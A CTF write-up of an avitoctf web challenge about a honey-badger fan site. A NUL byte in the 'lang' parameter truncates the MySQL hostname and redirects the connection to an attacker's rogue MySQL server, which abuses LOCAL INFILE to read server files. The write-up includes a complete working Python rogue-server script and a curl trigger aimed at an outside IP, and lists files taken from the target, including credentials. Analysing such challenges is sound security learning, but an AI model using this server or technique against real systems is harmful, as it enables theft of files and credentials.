← Back to Writeups
CUSTOMMediumWeb

Медофанс

XESXOR9/10/20266 min read
#web#custom#medium#nul_byte_hostname_truncation#rogue_mysql_local_infile_exfil#error_message_information_disc#backup_file_discovery#linux

Медофанс

Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-23 | Status: Solved Techniques: nul_byte_hostname_truncation, rogue_mysql_local_infile_exfiltration, error_message_information_disclosure, backup_file_discovery

Summary

Task: multilingual honey-badger fan site where the lang parameter controls the MySQL hostname (<lang>.db.internal); flag is on the filesystem. Solution: NUL byte in lang parameter truncates the .db.internal suffix at C level, redirecting the MySQL connection to a rogue server that exploits LOCAL INFILE to exfiltrate filesystem files including an old database backup containing the unredacted flag.

Медофанс — avitoctf

Description

Сообщества любителей медоедов из России, Англии и Германии завели свой совместный фан-сайт, где делятся самыми интересными фактами об этих животных.

Спойлер: хорошего разработчика в этих сообществах не было.

hbfuns-9vqogw6q.avitoctf.ru/

Флаг на файловой системе.

English summary: Communities of honey-badger fans from Russia, England, and Germany created a joint fan-site sharing facts about honey badgers. Spoiler: there was no good developer in these communities. The flag is on the filesystem.

Analysis

Application structure

The site is a multilingual honey-badger fan page with three languages (EN, RU, DE). The frontend JavaScript (/assets/app.js) calls /api/content.php?lang=<lang> to load translated content and facts from per-language MySQL databases.

The backend PHP source (content.php) constructs the database connection parameters directly from user input:

php
$lang = isset($_GET['lang']) ? explode(':', $_GET['lang'], 2)[0] : 'en';
$host = $lang . '.db.internal';
$db   = 'hbf_' . $lang;
mysqli_real_connect($conn, $host, $DB_USER, $DB_PASS, $db);

Key observations:

  • Only en, ru, de (lowercase) resolve as valid DB hosts and return content
  • Invalid lang values produce verbose errors: Could not connect to database at <lang>.db.internal: php_network_getaddresses: getaddrinfo failed
  • Case variants like DE resolve via DNS (case-insensitive) but fail MySQL auth: Access denied for user 'web'@'%' to database 'hbf_DE' — revealing the MySQL username web
  • The colon : is used as a delimiter by explode(), stripping everything after it, but the .db.internal suffix is always appended

The German clue

The German (de) database returns 11 facts (vs 10 for en/ru). The extra fact is titled "Daten aus dem Archiv" (Data from the archive):

Eine deutsche Expedition, die Ende des 20. Jahrhunderts nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze Familie bewachte eine Tafel, auf der geschrieben stand: /*REDACTED*/.

The /*REDACTED*/ uses SQL block-comment syntax, hinting at a database/SQL-related vulnerability. "Tafel" means both "plaque" and "table" in German — a deliberate double meaning pointing toward the database layer.

NUL byte hostname bypass

The critical vulnerability: a NUL byte (%00) in the lang parameter causes the MySQL C API's getaddrinfo() to truncate the hostname at the NUL character, bypassing the .db.internal suffix entirely.

  • PHP builds the string: "127.0.0.1\x00.db.internal" (NUL byte embedded)
  • The C-level getaddrinfo() treats the NUL as a string terminator, resolving only 127.0.0.1
  • This allows connecting to any attacker-controlled IP address

Testing: lang=127.0.0.1%00 → "Connection refused" (no MySQL on localhost, but the suffix bypass is confirmed).

Rogue MySQL + LOCAL INFILE

PHP's mysqli client has allow_local_infile enabled (the "bad developer" misconfiguration). This enables the classic rogue MySQL server attack:

  1. The rogue server completes the MySQL handshake normally
  2. After authentication, when the client sends its first query (e.g., SET NAMES utf8mb4)
  3. The server responds with a LOCAL INFILE request packet (0xFB + filename)
  4. The PHP client reads the requested file from its own filesystem and sends the contents back

Solution

Step 1: Deploy rogue MySQL server

A Python script implementing a minimal MySQL server was deployed on a publicly reachable VDS (72.56.24.3:3306):

python
#!/usr/bin/env python3
"""Rogue MySQL server for LOCAL INFILE exfiltration."""
import socket, struct, sys, time, os

FILES = sys.argv[1:] if len(sys.argv) > 1 else ["/flag"]
PORT = int(os.environ.get("PORT", "3306"))
CAPDIR = "/tmp/captured"
os.makedirs(CAPDIR, exist_ok=True)

def pkt(payload, seq):
    return len(payload).to_bytes(3, "little") + bytes([seq]) + payload

def recv_pkt(c, timeout=15):
    c.settimeout(timeout)
    try:
        hdr = b""
        while len(hdr) < 4:
            d = c.recv(4 - len(hdr))
            if not d: return None, None
            hdr += d
        n = int.from_bytes(hdr[:3], "little")
        seq = hdr[3]
        body = b""
        while len(body) < n:
            d = c.recv(n - len(body))
            if not d: break
            body += d
        return seq, body
    except Exception:
        return None, None

def greeting():
    salt1 = b"\x41\x42\x43\x44\x45\x46\x47\x48"
    salt2 = b"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x00"
    caps = 0x00A28F8F  # includes LOCAL_FILES, PROTOCOL_41, SECURE_CONNECTION
    return (
        b"\x0a" + b"5.7.99-rogue\x00"
        + struct.pack("<I", 1) + salt1 + b"\x00"
        + struct.pack("<H", caps & 0xFFFF) + b"\x21"
        + struct.pack("<H", 0x0002)
        + struct.pack("<H", (caps >> 16) & 0xFFFF)
        + bytes([21]) + b"\x00" * 10 + salt2
        + b"mysql_native_password\x00"
    )

def handle(conn, addr, fname):
    # 1) Send greeting
    conn.sendall(pkt(greeting(), 0))
    # 2) Receive auth handshake
    seq, auth = recv_pkt(conn)
    if auth is None: return None
    # 3) Send OK
    conn.sendall(pkt(b"\x00\x00\x00\x02\x00\x00\x00", seq + 1))
    # 4) Receive client command (SET NAMES, etc.)
    seq2, cmd_data = recv_pkt(conn, timeout=10)
    if cmd_data is None: seq2 = 0
    # 5) Send LOCAL INFILE request
    conn.sendall(pkt(b"\xfb" + fname.encode(), seq2 + 1))
    # 6) Receive file content
    chunks = []
    while True:
        s, d = recv_pkt(conn, timeout=10)
        if d is None or d == b"": break
        chunks.append(d)
    content = b"".join(chunks)
    if content:
        safe = fname.replace("/", "_").replace(".", "_")
        with open(os.path.join(CAPDIR, f"{safe}.bin"), "wb") as f:
            f.write(content)
    return content

def main():
    with socket.socket() as srv:
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind(("0.0.0.0", PORT))
        srv.listen(5)
        idx = 0
        while True:
            c, a = srv.accept()
            f = FILES[idx % len(FILES)]
            with c:
                r = handle(c, a, f)
                if r is not None: idx += 1

if __name__ == "__main__":
    main()

Step 2: Trigger connection via NUL byte bypass

bash
curl 'https://hbfuns-9vqogw6q.avitoctf.ru/api/content.php?lang=72.56.24.3%00'

PHP constructs hostname 72.56.24.3\0.db.internal, the C API resolves 72.56.24.3, and connects to the rogue MySQL server.

Step 3: Exfiltrate filesystem files

Each connection exfiltrates one file. Multiple requests were made to read:

  1. /etc/passwd (919B) — confirmed Alpine Linux container
  2. /var/www/html/config.php (46B) — DB credentials: web / webpass
  3. /var/www/html/api/content.php (997B) — confirmed the explode(':', $lang, 2)[0] logic and mysqli_real_connect() usage
  4. /etc/crontab → discovered /opt/scripts/backup.sh
  5. /var/log/hbf-backup.log → found weekly backups at /opt/backups/
  6. /opt/backups/hbf_de_backup_2019-05-05.sql (4696B) — old database backup containing the unredacted flag

Step 4: Recover the flag

The 2019 backup SQL file contains the original German archive fact INSERT with the unredacted plaque text:

sql
INSERT INTO `facts` VALUES
  ...
  (5,'Daten aus dem Archiv','Eine deutsche Expedition, die Ende des 20. Jahrhunderts
  nach Afrika aufbrach, soll einen Bau der Honigdachse entdeckt haben. Die ganze
  Familie bewachte eine Tafel, auf der geschrieben stand: <FLAG_FRAGMENT_REDACTED>.',
  '/assets/badger.svg');

The live de database has /*REDACTED*/ in place of the flag, but the old 2019 backup on the filesystem preserves the original value.